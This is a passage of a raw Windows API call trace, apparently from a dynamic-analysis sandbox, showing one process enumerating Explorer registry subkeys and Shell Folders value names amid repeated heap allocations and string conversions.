[0025.678] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.678] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced", cchWideChar=8, lpMultiByteStr=0xddc120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced", lpUsedDefaultChar=0x0) returned 8 [0025.678] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.678] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.678] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.678] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.678] RegEnumKeyW (in: hKey=0x110, dwIndex=0x1, lpName=0xc19d18, cchName=0x104 | out: lpName="ApplicationDestinations") returned 0x0 [0025.678] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applicationdestinations", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0025.678] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applicationdestinations", cchWideChar=23, lpMultiByteStr=0xddc240, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applicationdestinations", lpUsedDefaultChar=0x0) returned 23 [0025.678] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.678] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.678] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.678] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.678] RegEnumKeyW (in: hKey=0x110, dwIndex=0x2, lpName=0xc19d18, cchName=0x104 | out: lpName="AutoComplete") returned 0x0 [0025.678] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autocomplete", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.678] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autocomplete", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="autocomplete", lpUsedDefaultChar=0x0) returned 12 [0025.678] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.678] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.678] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.678] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.678] RegEnumKeyW (in: hKey=0x110, dwIndex=0x3, lpName=0xc19d18, cchName=0x104 | out: lpName="AutoplayHandlers") returned 0x0 [0025.678] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autoplayhandlers", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0025.679] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="autoplayhandlers", cchWideChar=16, lpMultiByteStr=0xddc240, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="autoplayhandlers", lpUsedDefaultChar=0x0) returned 16 [0025.679] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.679] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.679] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.679] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.679] RegEnumKeyW (in: hKey=0x110, dwIndex=0x4, lpName=0xc19d18, cchName=0x104 | out: lpName="BitBucket") returned 0x0 [0025.679] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitbucket", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0025.679] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitbucket", cchWideChar=9, lpMultiByteStr=0xddc120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitbucket", lpUsedDefaultChar=0x0) returned 9 [0025.679] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.679] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.679] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.679] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.679] RegEnumKeyW (in: hKey=0x110, dwIndex=0x5, lpName=0xc19d18, cchName=0x104 | out: lpName="CabinetState") returned 0x0 [0025.679] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cabinetstate", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.679] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cabinetstate", cchWideChar=12, lpMultiByteStr=0xddc240, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cabinetstate", lpUsedDefaultChar=0x0) returned 12 [0025.679] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.679] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.679] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.679] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.679] RegEnumKeyW (in: hKey=0x110, dwIndex=0x6, lpName=0xc19d18, cchName=0x104 | out: lpName="CD Burning") returned 0x0 [0025.679] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cd burning", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0025.679] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.679] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cd burning", cchWideChar=10, lpMultiByteStr=0xddc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cd burning", lpUsedDefaultChar=0x0) returned 10 [0025.679] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.679] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.679] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.679] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.680] RegEnumKeyW (in: hKey=0x110, dwIndex=0x7, lpName=0xc19d18, cchName=0x104 | out: lpName="CIDOpen") returned 0x0 [0025.680] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cidopen", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.680] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cidopen", cchWideChar=7, lpMultiByteStr=0xddc240, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cidopen", lpUsedDefaultChar=0x0) returned 7 [0025.680] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.680] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.680] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.680] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.680] RegEnumKeyW (in: hKey=0x110, dwIndex=0x8, lpName=0xc19d18, cchName=0x104 | out: lpName="CLSID") returned 0x0 [0025.680] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdde840 [0025.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clsid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0025.680] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0025.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clsid", cchWideChar=5, lpMultiByteStr=0xddc120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clsid", lpUsedDefaultChar=0x0) returned 5 [0025.680] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0025.680] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0025.680] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0025.680] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdde840) returned 1 [0025.680] RegEnumKeyW (in: hKey=0x110, dwIndex=0x9, lpName=0xc19d18, cchName=0x104 | out: lpName="ComDlg32") returned 0x0 [0025.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comdlg32", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comdlg32", cchWideChar=8, lpMultiByteStr=0xddc240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comdlg32", lpUsedDefaultChar=0x0) returned 8 [0025.680] RegEnumKeyW (in: hKey=0x110, dwIndex=0xa, lpName=0xc19d18, cchName=0x104 | out: lpName="Discardable") returned 0x0 [0025.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discardable", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="discardable", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="discardable", lpUsedDefaultChar=0x0) returned 11 [0025.680] RegEnumKeyW (in: hKey=0x110, dwIndex=0xb, lpName=0xc19d18, cchName=0x104 | out: lpName="FileExts") returned 0x0 [0025.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileexts", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0025.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fileexts", cchWideChar=8, lpMultiByteStr=0xddc240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fileexts", lpUsedDefaultChar=0x0) returned 8 [0025.681] RegEnumKeyW (in: hKey=0x110, dwIndex=0xc, lpName=0xc19d18, cchName=0x104 | out: lpName="LowRegistry") returned 0x0 [0025.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lowregistry", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lowregistry", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lowregistry", lpUsedDefaultChar=0x0) returned 11 [0025.681] RegEnumKeyW (in: hKey=0x110, dwIndex=0xd, lpName=0xc19d18, cchName=0x104 | out: lpName="MenuOrder") returned 0x0 [0025.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="menuorder", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0025.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="menuorder", cchWideChar=9, lpMultiByteStr=0xddc240, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="menuorder", lpUsedDefaultChar=0x0) returned 9 [0025.681] RegEnumKeyW (in: hKey=0x110, dwIndex=0xe, lpName=0xc19d18, cchName=0x104 | out: lpName="Modules") returned 0x0 [0025.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modules", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modules", cchWideChar=7, lpMultiByteStr=0xddc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modules", lpUsedDefaultChar=0x0) returned 7 [0025.681] RegEnumKeyW (in: hKey=0x110, dwIndex=0xf, lpName=0xc19d18, cchName=0x104 | out: lpName="MountPoints2") returned 0x0 [0025.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountpoints2", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountpoints2", cchWideChar=12, lpMultiByteStr=0xddc240, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountpoints2", lpUsedDefaultChar=0x0) returned 12 [0025.681] RegEnumKeyW (in: hKey=0x110, dwIndex=0x10, lpName=0xc19d18, cchName=0x104 | out: lpName="NewShortcutHandlers") returned 0x0 [0025.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="newshortcuthandlers", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0025.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="newshortcuthandlers", cchWideChar=19, lpMultiByteStr=0xddc120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="newshortcuthandlers", lpUsedDefaultChar=0x0) returned 19 [0025.681] RegEnumKeyW (in: hKey=0x110, dwIndex=0x11, lpName=0xc19d18, cchName=0x104 | out: lpName="RecentDocs") returned 0x0 [0025.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="recentdocs", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0025.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="recentdocs", cchWideChar=10, lpMultiByteStr=0xddc240, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="recentdocs", lpUsedDefaultChar=0x0) returned 10 [0025.681] RegEnumKeyW (in: hKey=0x110, dwIndex=0x12, lpName=0xc19d18, cchName=0x104 | out: lpName="RunMRU") returned 0x0 [0025.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="runmru", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0025.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="runmru", cchWideChar=6, lpMultiByteStr=0xddc120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="runmru", lpUsedDefaultChar=0x0) returned 6 [0025.681] RegEnumKeyW (in: hKey=0x110, dwIndex=0x13, lpName=0xc19d18, cchName=0x104 | out: lpName="SearchPlatform") returned 0x0 [0025.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="searchplatform", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0025.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="searchplatform", cchWideChar=14, lpMultiByteStr=0xddc240, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="searchplatform", lpUsedDefaultChar=0x0) returned 14 [0025.682] RegEnumKeyW (in: hKey=0x110, dwIndex=0x14, lpName=0xc19d18, cchName=0x104 | out: lpName="Shell Folders") returned 0x0 [0025.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shell folders", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0025.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shell folders", cchWideChar=13, lpMultiByteStr=0xddc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shell folders", lpUsedDefaultChar=0x0) returned 13 [0025.682] RegOpenKeyExW (in: hKey=0x110, lpSubKey="Shell Folders", ulOptions=0x0, samDesired=0x20109, phkResult=0x18f4bc | out: phkResult=0x18f4bc*=0xf8) returned 0x0 [0025.682] RegCloseKey (hKey=0x110) returned 0x0 [0025.682] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0025.682] RegEnumValueA (in: hKey=0xf8, dwIndex=0x0, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="!Do not use this registry key", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.682] RegEnumValueA (in: hKey=0xf8, dwIndex=0x1, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="AppData", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.682] RegEnumValueA (in: hKey=0xf8, dwIndex=0x2, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Local AppData", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.682] RegEnumValueA (in: hKey=0xf8, dwIndex=0x3, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="My Video", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.682] RegEnumValueA (in: hKey=0xf8, dwIndex=0x4, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.682] RegEnumValueA (in: hKey=0xf8, dwIndex=0x5, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="My Pictures", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.682] RegEnumValueA (in: hKey=0xf8, dwIndex=0x6, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Desktop", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.682] RegEnumValueA (in: hKey=0xf8, dwIndex=0x7, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="History", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.682] RegEnumValueA (in: hKey=0xf8, dwIndex=0x8, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="NetHood", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.683] RegEnumValueA (in: hKey=0xf8, dwIndex=0x9, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{56784854-C6CB-462B-8169-88E350ACB882}", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.683] RegEnumValueA (in: hKey=0xf8, dwIndex=0xa, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Cookies", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.683] RegEnumValueA (in: hKey=0xf8, dwIndex=0xb, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Favorites", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.683] RegEnumValueA (in: hKey=0xf8, dwIndex=0xc, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SendTo", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.683] RegEnumValueA (in: hKey=0xf8, dwIndex=0xd, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start Menu", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.683] RegEnumValueA (in: hKey=0xf8, dwIndex=0xe, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="My Music", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.683] RegEnumValueA (in: hKey=0xf8, dwIndex=0xf, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Programs", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.683] RegEnumValueA (in: hKey=0xf8, dwIndex=0x10, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Recent", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.683] RegEnumValueA (in: hKey=0xf8, dwIndex=0x11, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="CD Burning", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.683] RegEnumValueA (in: hKey=0xf8, dwIndex=0x12, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PrintHood", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.683] RegEnumValueA (in: hKey=0xf8, dwIndex=0x13, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{7D1D3A04-DEBB-4115-95CF-2F29DA2920DA}", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.683] RegEnumValueA (in: hKey=0xf8, dwIndex=0x14, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{374DE290-123F-4565-9164-39C4925E467B}", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.683] RegEnumValueA (in: hKey=0xf8, dwIndex=0x15, lpValueName=0x18f3f4, lpcchValueName=0x18f3f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="{A520A1A4-1780-4FF6-BD18-167343C5AF16}", lpcchValueName=0x18f3f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0025.683] RegEnumValueA (in: hKey=0xf8, dwIndex=0x16, lpValueName=0x18f3f4, 